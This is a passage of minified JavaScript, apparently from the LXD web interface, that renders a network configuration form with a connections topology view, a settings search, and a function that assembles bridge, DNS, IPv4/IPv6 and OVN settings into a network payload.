networks failed",V)},[V]);const b=F.filter(g=>{var y;return g.config.network===e.values.name||g.config.parent===e.values.name||((y=x.used_by)==null?void 0:y.includes(`/1.0/networks/${g.name}`))}),v=te("instance",x.used_by),j=e.values.parent??e.values.network,h=Object.keys(e.values.parentPerClusterMember??{}).map(g=>{var E;const y=(E=e.values.parentPerClusterMember)==null?void 0:E[g];return y?s.jsxs("div",{className:"uplink-item",children:[s.jsx("span",{className:"has-descendents",children:s.jsx(f,{type:"cluster-member",value:g,to:`/ui/project/${a}/networks?member=${g}`})}),s.jsx(f,{type:"network",value:y,to:`/ui/project/${a}/member/${g}/network/${y}`})]},g):null}),I=j??h.filter(g=>g!==null).length>0;return s.jsxs(s.Fragment,{children:[s.jsx("h2",{className:"p-heading--4",id:N(Ne),children:"Connections"}),s.jsxs("div",{className:"u-sv3 network-topology",children:[I&&s.jsx("div",{className:"uplink",children:w?h:j&&s.jsx("div",{className:"uplink-item has-parent",children:s.jsx(f,{type:"network",value:j,to:`/ui/project/default/network/${j}`})})}),s.jsxs("div",{className:Q("current-network",{"has-descendents":v.length>0||b.length>0,"has-parent":I}),children:[r&&s.jsx("span",{className:"has-descendents",children:s.jsx(f,{type:"cluster-member",value:r,to:`/ui/project/${a}/networks?member=${r}`})}),s.jsx("div",{className:"p-chip is-inline is-dense resource-link active-chip",title:x.name,children:s.jsxs("span",{className:"p-chip__value",children:[s.jsx(l.Icon,{name:"exposed",light:!0}),x.name]})})]}),s.jsxs("div",{className:"downstream",children:[b.slice(0,i?5:b.length).map(g=>{const y=`/ui/project/default/network/${g.name}`;return s.jsx("div",{className:Q("downstream-item",{"has-descendents":(g.used_by??[]).length>0}),children:s.jsx(f,{type:"network",value:g.name,to:y})},y)}),b.length>5&&i&&s.jsx("div",{className:"downstream-item",children:s.jsx(l.Button,{appearance:"link",onClick:()=>{c(!1)},small:!0,children:"Show all"})}),v.slice(0,p?5:v.length).map(g=>{const y=`/ui/project/${g.project}/instance/${g.name}`;return s.jsx("div",{className:"downstream-item",children:s.jsx(f,{type:"instance",value:g.name,to:y})},y)}),v.length>5&&p&&s.jsx("div",{className:"downstream-item",children:s.jsx(l.Button,{appearance:"link",onClick:()=>{u(!1)},small:!0,children:"Show all"})})]})]})]})},Be=(e,a)=>{const n=e;clearTimeout(n._timeoutId),n._timeoutId=setTimeout(e,a)},ke=e=>{var i;const a=new Set(["used_by","etag","status","locations","managed","name","description","config","type"]),n=Object.fromEntries(Object.entries(e.bareNetwork??{}).filter(c=>!a.has(c[0]))),r=ue(),t=Object.fromEntries(Object.entries(((i=e.bareNetwork)==null?void 0:i.config)??{}).filter(c=>!r.has(c[0])));return{...n,name:e.name,description:e.description,type:e.networkType,config:{...t,[d("bridge_driver")]:e.bridge_driver,[d("bridge_hwaddr")]:e.bridge_hwaddr,[d("bridge_mtu")]:e.bridge_mtu,[d("dns_domain")]:e.dns_domain,[d("dns_mode")]:e.dns_mode,[d("dns_nameservers")]:e.dns_nameservers,[d("dns_search")]:e.dns_search,[d("ipv4_address")]:e.ipv4_address,[d("ipv4_dhcp")]:e.ipv4_dhcp,[d("ipv4_dhcp_expiry")]:e.ipv4_dhcp_expiry,[d("ipv4_dhcp_ranges")]:e.ipv4_dhcp_ranges,[d("ipv4_l3only")]:e.ipv4_l3only,[d("ipv4_nat")]:e.ipv4_nat,[d("ipv4_nat_address")]:e.ipv4_nat_address,[d("ipv4_ovn_ranges")]:e.ipv4_ovn_ranges,[d("ipv4_gateway")]:e.ipv4_gateway,[d("ipv4_routes")]:e.ipv4_routes,[d("ipv4_routes_anycast")]:e.ipv4_routes_anycast,[d("ipv6_address")]:e.ipv6_address,[d("ipv6_dhcp")]:e.ipv6_dhcp,[d("ipv6_dhcp_expiry")]:e.ipv6_dhcp_expiry,[d("ipv6_dhcp_ranges")]:e.ipv6_dhcp_ranges,[d("ipv6_dhcp_stateful")]:e.ipv6_dhcp_stateful,[d("ipv6_l3only")]:e.ipv6_l3only,[d("ipv6_nat")]:e.ipv6_nat,[d("ipv6_nat_address")]:e.ipv6_nat_address,[d("ipv6_ovn_ranges")]:e.ipv6_ovn_ranges,[d("ipv6_gateway")]:e.ipv6_gateway,[d("ipv6_routes")]:e.ipv6_routes,[d("ipv6_routes_anycast")]:e.ipv6_routes_anycast,[d("network")]:e.network,[d("ovn_ingress_mode")]:e.ovn_ingress_mode,[d("parent")]:e.parent}}},es=(e,a)=>!e.isValid||!e.values.name||e.values.networkType==="ovn"&&!e.values.network||e.values.networkType==="physical"&&!e.values.parent&&Object.values(e.values.parentPerClusterMember??{}).filter(n=>n.length>0).length!==a.length,ss=({formik:e,getYaml:a,project:n,section:r,setSection:t,version:i=0})=>{var I,g,y,E,X,J,Z;const c=le(),p=l.useNotify(),{data:u}=pe(),x=ve(u),[w,F]=m.useState(""),[V,b]=m.useState(!1),v=_=>{if(!w)return _;const $=_.filter(B=>{var U,A;return(A=(U=B.name)==null?void 0:U.toString())==null?void 0:A.toLowerCase().includes(w)});return $.length>0&&b(!1),$},j=((I=e.values.bareNetwork)==null?void 0:I.managed)??!0,h=[W];return e.values.networkType!=="physical"&&j&&h.push(L),e.values.ipv4_address!=="none"&&j&&h.push(O),e.values.ipv6_address!=="none"&&j&&h.push(R),j&&h.push(K),e.values.networkType==="physical"&&j&&h.push(D),m.useEffect(()=>{const _=document.getElementById("content-details"),$=()=>{const U=_?_.scrollTop:0;for(const A of h){const k=N(A),G=document.getElementById(k);if(((G==null?void 0:G.offsetTop)??0)>U){t(k,"scroll");return}}},B=()=>{Be($,20)};return _==null||_.addEventListener("scroll",B),()=>_==null?void 0:_.removeEventListener("scroll",B)},[h]),s.jsxs("div",{className:"network-form",children:[s.jsxs(we,{className:"contents",dependencies:[p.notification],belowIds:["form-footer","status-bar"],children:[!e.values.isCreating&&w.length<1&&r!==N(H)&&s.jsx($e,{formik:e,project:n,isServerClustered:x}),s.jsxs(l.Form,{className:"sections",onSubmit:e.handleSubmit,children:[r!==N(H)&&s.jsxs(s.Fragment,{children:[s.jsx(l.Input,{type:"submit",hidden:!0,value:"Hidden input"}),w.length<1&&s.jsx(Ee,{formik:e,project:n,isClustered:x},`main-${(g=e.values.bareNetwork)==null?void 0:g.name}`),h.includes(L)&&s.jsx(Le,{formik:e,filterRows:v},`bridge-${(y=e.values.bareNetwork)==null?void 0:y.name}`),h.includes(O)&&s.jsx(Re,{formik:e,filterRows:v},`ipv4-${(E=e.values.bareNetwork)==null?void 0:E.name}`),h.includes(R)&&s.jsx(De,{formik:e,filterRows:v},`ipv6-${(X=e.values.bareNetwork)==null?void 0:X.name}`),h.includes(K)&&s.jsx(Oe,{formik:e,filterRows:v},`dns-${(J=e.values.bareNetwork)==null?void 0:J.name}`),h.includes(D)&&s.jsx(Me,{formik:e,filterRows:v},`ovn-${(Z=e.values.bareNetwork)==null?void 0:Z.name}`)]}),r===N(H)&&s.jsx(he,{yaml:a(),setYaml:_=>{S(e),e.setFieldValue("yaml",_)},readOnly:!!e.values.editRestriction,readOnlyMessage:e.values.editRestriction,children:s.jsx(je,{entity:"network",href:`${c}/explanation/networks/#managed-networks`})},`yaml-form-${i}`),V&&s.jsx("div",{children:"No configuration found matching this search."})]})]}),r!==N(H)&&j&&s.jsxs("div",{className:"aside",children:[s.jsx(l.SearchBox,{onChange:_=>{F(_),b(!0)},value:w,name:"search-setting",type:"text",placeholder:"Search for key"}),s.jsx(me,{active:r,setActive:_=>{t(_,"click")},formik:e,availableSections:h})]})]})},as=e=>{var a;(a=document.getElementById(e))==null||a.scrollIntoView()};export{Ne as C,W as G,ss as N,H as Y,es as i,as as s,ke as t};
Close